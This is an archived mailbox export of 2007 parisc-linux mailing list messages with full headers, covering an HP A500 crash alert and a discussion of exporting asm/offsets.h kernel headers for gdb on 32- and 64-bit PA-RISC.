X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jul 2007 00:22:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 12 Jul 2007 02:22:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0569B7DD4B;
	Wed, 11 Jul 2007 18:22:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07527-05; Wed, 11 Jul 2007 18:22:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C219F7DD35;
	Wed, 11 Jul 2007 18:22:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 288027DD31
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Jul 2007 18:22:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07523-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Jul 2007 18:21:59 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 399CF7DD28
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Jul 2007 18:21:59 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8A5D33F83BF;
	Wed, 11 Jul 2007 18:21:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27159-01; Wed, 11 Jul 2007 18:21:51 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DEB2B3F83BC; Wed, 11 Jul 2007 18:21:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <5b2e36650707100601s50fc0c62k551d387bd755b3cd@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.15+20070515 (2007-05-02)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: awDwNp4NZCEWb7GPamwhQ+lwIGhpZUY+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24712

On Tue, Jul 10, 2007 at 09:01:02AM -0400, Jeff Bailey wrote:
> Heya!  I'm running 2.6.22-rc7 from Linus' tree, and I occasionally get
> the system dying like this.  I'm mostly surprised by the complete lack
> of information in the crash, is there anything I can do to ask it to
> give more when it dies?
>
> * INIT: version 2.86 reloading
>
> ************* SYSTEM ALERT **************

The Virtual Front Panel (VFP) is obscuring any kernel output.
You can get kernel output (if there is any) by looking at the
console log recorded by the GSP (aka MP).

> SYSTEM NAME: a500-gsp
> DATE: 07/10/2007 TIME: 07:23:03
> ALERT LEVEL: 7 = reserved
>
> REASON FOR ALERT
> SOURCE: 0 = unknown, no source stated
> SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
> PROBLEM DETAIL: 0 = no problem detail
>
> LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
>       ON       FLASH         OFF       ON         ON
> LED State: There was a system interruption that did not take the system 
> down.
> Check Chassis and Console Logs for error messages.
>
> 0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
> 0x5800087000FF6292 00006B06 0A071703 - type 11 = Timestamp 07/10/2007 

IIRC, FF6292 is a HPMC. Please collect and post the "ser pim" output.

thanks,
grant

> 07:23:03
> A: ack read of this entry - X: Disable all future alert messages
> Anything else skip redisplay the log entry
> ->Choice:Timeout!
> *****************************************
>
>
> -- 
> Jeff Bailey - http://www.raspberryginger.com/jbailey/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Nonexistance of asm/offsets.h
Date: Fri, 13 Jul 2007 19:10:57 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <5b2e36650707131610u7b158370ya591e2076ec980ac__39698.9310779192$1416624412$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624412 24730 80.91.229.3 (22 Nov 2014 02:46:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:52 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jul 2007 23:11:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx095) with SMTP; 14 Jul 2007 01:11:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F024D7DCF0;
	Fri, 13 Jul 2007 17:11:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27020-04; Fri, 13 Jul 2007 17:11:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 044F87DCE0;
	Fri, 13 Jul 2007 17:11:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0ADE57DCDE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jul 2007 17:11:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27020-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jul 2007 17:10:58 -0600 (MDT)
Original-Received: from wa-out-1112.google.com (wa-out-1112.google.com [209.85.146.176])
	by free.linux.hp.com (Postfix) with ESMTP id 1E1D17DCDB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jul 2007 17:10:58 -0600 (MDT)
Original-Received: by wa-out-1112.google.com with SMTP id j40so769363wah
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jul 2007 16:10:57 -0700 (PDT)
Original-Received: by 10.114.170.1 with SMTP id s1mr2101912wae.1184368257226;
	Fri, 13 Jul 2007 16:10:57 -0700 (PDT)
Original-Received: by 10.114.103.10 with HTTP; Fri, 13 Jul 2007 16:10:57 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 62/9B5sYfW4pfuWveGVoXE5mdmllckVF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24713

In the process of getting the world up, running and debugged with
NPTL, Randolph has provided a patch to make gdb work better.  Building
this on Ubuntu turned out to be a problem because we're using the
exported kernel headers rather than the mashup that Debian has been
using.

The challenge is that the Debian kernel packages used to generate
asm/offsets.h from the 64-bit kernel build's asm-offsets.h and make
that available.  When we created linux-kernel-headers, we just
imported that.

Now, with the sanitised kernel headers being produced from the kernel
source, this no longer seems right.  It means that there's a header
that's not right for both 32-bit and 64-bit userspace, and it's being
generated, so it might change by accident and break the userspace ABI.
 I'd like to propose that we create a hand-crafted offsets.h that is
intended for userspace consuption and then stop generating the
asm-offsets.h file at build time.  I'll put together a patch to do
this over the weekend unless there's objections.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Nonexistance of asm/offsets.h
Date: Fri, 13 Jul 2007 21:44:33 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <5b2e36650707131844w6dc26599qf9a6797a8c37d58b__47464.0992972583$1416624412$gmane$org@mail.gmail.com>
References: <5b2e36650707131610u7b158370ya591e2076ec980ac@mail.gmail.com>
	<119aab440707131705x5edda0cp12c5af9d0789fbf8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624412 24732 80.91.229.3 (22 Nov 2014 02:46:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:52 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2007 01:44:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 14 Jul 2007 03:44:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8394D7DD02;
	Fri, 13 Jul 2007 19:44:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28011-10; Fri, 13 Jul 2007 19:44:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3247F7DCF7;
	Fri, 13 Jul 2007 19:44:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71EC47DCF5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jul 2007 19:44:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28011-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jul 2007 19:44:34 -0600 (MDT)
Original-Received: from wa-out-1112.google.com (wa-out-1112.google.com [209.85.146.177])
	by free.linux.hp.com (Postfix) with ESMTP id 92CB57DCF3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jul 2007 19:44:34 -0600 (MDT)
Original-Received: by wa-out-1112.google.com with SMTP id j40so808239wah
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Jul 2007 18:44:34 -0700 (PDT)
Original-Received: by 10.114.154.1 with SMTP id b1mr2193619wae.1184377473524;
	Fri, 13 Jul 2007 18:44:33 -0700 (PDT)
Original-Received: by 10.114.103.10 with HTTP; Fri, 13 Jul 2007 18:44:33 -0700 (PDT)
In-Reply-To: <119aab440707131705x5edda0cp12c5af9d0789fbf8@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vVCtLp4GZDI5PLHGdWY2bThxemhmYwFQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24714

On 13/07/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> > In the process of getting the world up, running and debugged with
> > NPTL, Randolph has provided a patch to make gdb work better.  Building
> > this on Ubuntu turned out to be a problem because we're using the
> > exported kernel headers rather than the mashup that Debian has been
> > using.
> >
> > The challenge is that the Debian kernel packages used to generate
> > asm/offsets.h from the 64-bit kernel build's asm-offsets.h and make
> > that available.  When we created linux-kernel-headers, we just
> > imported that.
> >
> > Now, with the sanitised kernel headers being produced from the kernel
> > source, this no longer seems right.  It means that there's a header
> > that's not right for both 32-bit and 64-bit userspace, and it's being
> > generated, so it might change by accident and break the userspace ABI.
> >  I'd like to propose that we create a hand-crafted offsets.h that is
> > intended for userspace consuption and then stop generating the
> > asm-offsets.h file at build time.  I'll put together a patch to do
> > this over the weekend unless there's objections.
>
> In theory a 64-bit configured kernel should generate both a 32-bit and
> 64-bit versions of asm-offets.h. IIRC other arches use a wrapper
> asm-offets.h that checks for a compiler builtin define e.g. __hppa64__
> to select the right 32 or 64-bit header.

Right.  The question would be how to make a 32-bit kernel generate the
same header file so that make install_headers does the right thing for
parisc in all cases.

ppc, x86_64, and i386 don't seem to provide asm-offsets.h or offsets.h
in their exported headers.  Should we be exporting it at all?  I'll
look at other arches to see how they provide that data.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Nonexistance of asm/offsets.h
Date: Sat, 14 Jul 2007 02:37:16 -0400
Organization: wh0rd.org
Lines: 90
Approved: news@gmane.org
Message-ID: <200707140237.17779.vapier__23094.5320138291$1416624412$gmane$org@gentoo.org>
References: <5b2e36650707131610u7b158370ya591e2076ec980ac@mail.gmail.com>
	<119aab440707131705x5edda0cp12c5af9d0789fbf8@mail.gmail.com>
	<5b2e36650707131844w6dc26599qf9a6797a8c37d58b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0682894152=="
X-Trace: ger.gmane.org 1416624412 24733 80.91.229.3 (22 Nov 2014 02:46:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2007 06:37:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 14 Jul 2007 08:37:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 103C47DD0B;
	Sat, 14 Jul 2007 00:37:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30247-01; Sat, 14 Jul 2007 00:37:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C34F27DD04;
	Sat, 14 Jul 2007 00:37:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6DBA57DD04
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Jul 2007 00:36:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28818-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Jul 2007 00:36:56 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 7AC697DCFF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 14 Jul 2007 00:36:56 -0600 (MDT)
Original-Received: from ip6-localhost (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 3D0B264C43;
	Sat, 14 Jul 2007 06:36:55 +0000 (UTC)
User-Agent: KMail/1.9.7
In-Reply-To: <5b2e36650707131844w6dc26599qf9a6797a8c37d58b@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: egL6ErFMbXBsfrqHPTQ2evwqLyUmZUgp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24715

--===============0682894152==
Content-Type: multipart/signed; boundary="nextPart1460582.iDvOGuzLHn";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1460582.iDvOGuzLHn
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Friday 13 July 2007, Jeff Bailey wrote:
> On 13/07/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> > > In the process of getting the world up, running and debugged with
> > > NPTL, Randolph has provided a patch to make gdb work better.  Building
> > > this on Ubuntu turned out to be a problem because we're using the
> > > exported kernel headers rather than the mashup that Debian has been
> > > using.
> > >
> > > The challenge is that the Debian kernel packages used to generate
> > > asm/offsets.h from the 64-bit kernel build's asm-offsets.h and make
> > > that available.  When we created linux-kernel-headers, we just
> > > imported that.
> > >
> > > Now, with the sanitised kernel headers being produced from the kernel
> > > source, this no longer seems right.  It means that there's a header
> > > that's not right for both 32-bit and 64-bit userspace, and it's being
> > > generated, so it might change by accident and break the userspace ABI.
> > >  I'd like to propose that we create a hand-crafted offsets.h that is
> > > intended for userspace consuption and then stop generating the
> > > asm-offsets.h file at build time.  I'll put together a patch to do
> > > this over the weekend unless there's objections.
> >
> > In theory a 64-bit configured kernel should generate both a 32-bit and
> > 64-bit versions of asm-offets.h. IIRC other arches use a wrapper
> > asm-offets.h that checks for a compiler builtin define e.g. __hppa64__
> > to select the right 32 or 64-bit header.
>
> Right.  The question would be how to make a 32-bit kernel generate the
> same header file so that make install_headers does the right thing for
> parisc in all cases.
>
> ppc, x86_64, and i386 don't seem to provide asm-offsets.h or offsets.h
> in their exported headers.  Should we be exporting it at all?  I'll
> look at other arches to see how they provide that data.

i mentioned this a while ago on the lists but didnt seem to get any notice ...

the way other architectures handle this is one of two ways:
 - create a similar static copy "ptrace.h" or "ptrace_offsets.h" in the kernel
 - create a local version for just gdb in the gdb sources
-mike

--nextPart1460582.iDvOGuzLHn
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.5 (GNU/Linux)

iQIVAwUARphvHUFjO5/oN/WBAQI2hA//QJhCih8YNtbjbibAxWzXmL9RoM+TNb7c
KsTo0z5oN4DktuCjPdrcaPdUg98xUKFq0iTeMtNRIv3qVAYw/HnIhiboywImAflN
dWFYMKDpJXmr6t8gh6Ff4+ICWCFDGc6yKcqdHOSf2c9CB/3sjJm+Jn9kVCxZzChF
Q2UjZX4sGRHrPik1Z22OB954L25dnttLZOmFA5qSJPva4AUFevF+s6zoZCKEBQ0b
Dwkocv0yeNB3vSH/0DZEUodAJMjtnUX796aFLLId9g3Rdu+eCTCbW2LlaKqS0Ay/
98yoBZqPiDWQCpk2l2875wV9ONLYri4KH3xNkVTchxLGFhekXQ4hLR0C/9OSIBlU
3fxRh/XIbcYQRkCohT6l4VKhfAQupdPhjIJxsSny7SGMgH7oEdcH7hpqUcVtF4XL
7MP57nV3g1Qn3gV8m8DpTAOxcRcMfo0O1NtA4VW4hxGo/rhamjqvBVB8VXfvgqrQ
pubG2rIhqY6Nb5jjqc8kQ8l/toJKvh8hr0potDV8aHKmorAIDnSi7TNQY5tubfic
vX7+Mn9GsX/wL1jius75XjolbMWWoX8CMTZrRKgcMmcCqjtSDGO0tiMB+QkcsQ7a
krZFrIq0n+izw/Jqy6xf902klOlSZZ7cltmARlx67SCo6AXEpzfCTiX8KJpEyKBm
7OTy3zx/ai4=
=vJZo
-----END PGP SIGNATURE-----

--nextPart1460582.iDvOGuzLHn--

--===============0682894152==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0682894152==--



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] add __noreturn annotation
Date: Sun, 15 Jul 2007 14:53:45 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <200707151453.45973.deller__35014.4989359707$1416624413$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624413 24736 80.91.229.3 (22 Nov 2014 02:46:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2007 13:01:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 15 Jul 2007 15:01:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CD237DCED;
	Sun, 15 Jul 2007 07:01:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07964-05; Sun, 15 Jul 2007 07:01:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F69D7DCEF;
	Sun, 15 Jul 2007 07:01:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF8DB7DCEE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 07:01:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07964-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 07:01:34 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 91C1A7DCEC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Jul 2007 07:01:33 -0600 (MDT)
Original-Received: (qmail invoked by alias); 15 Jul 2007 13:01:32 -0000
Original-Received: from mnhm-590c3168.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.49.104]
	by mail.gmx.net (mp049) with SMTP; 15 Jul 2007 15:01:32 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
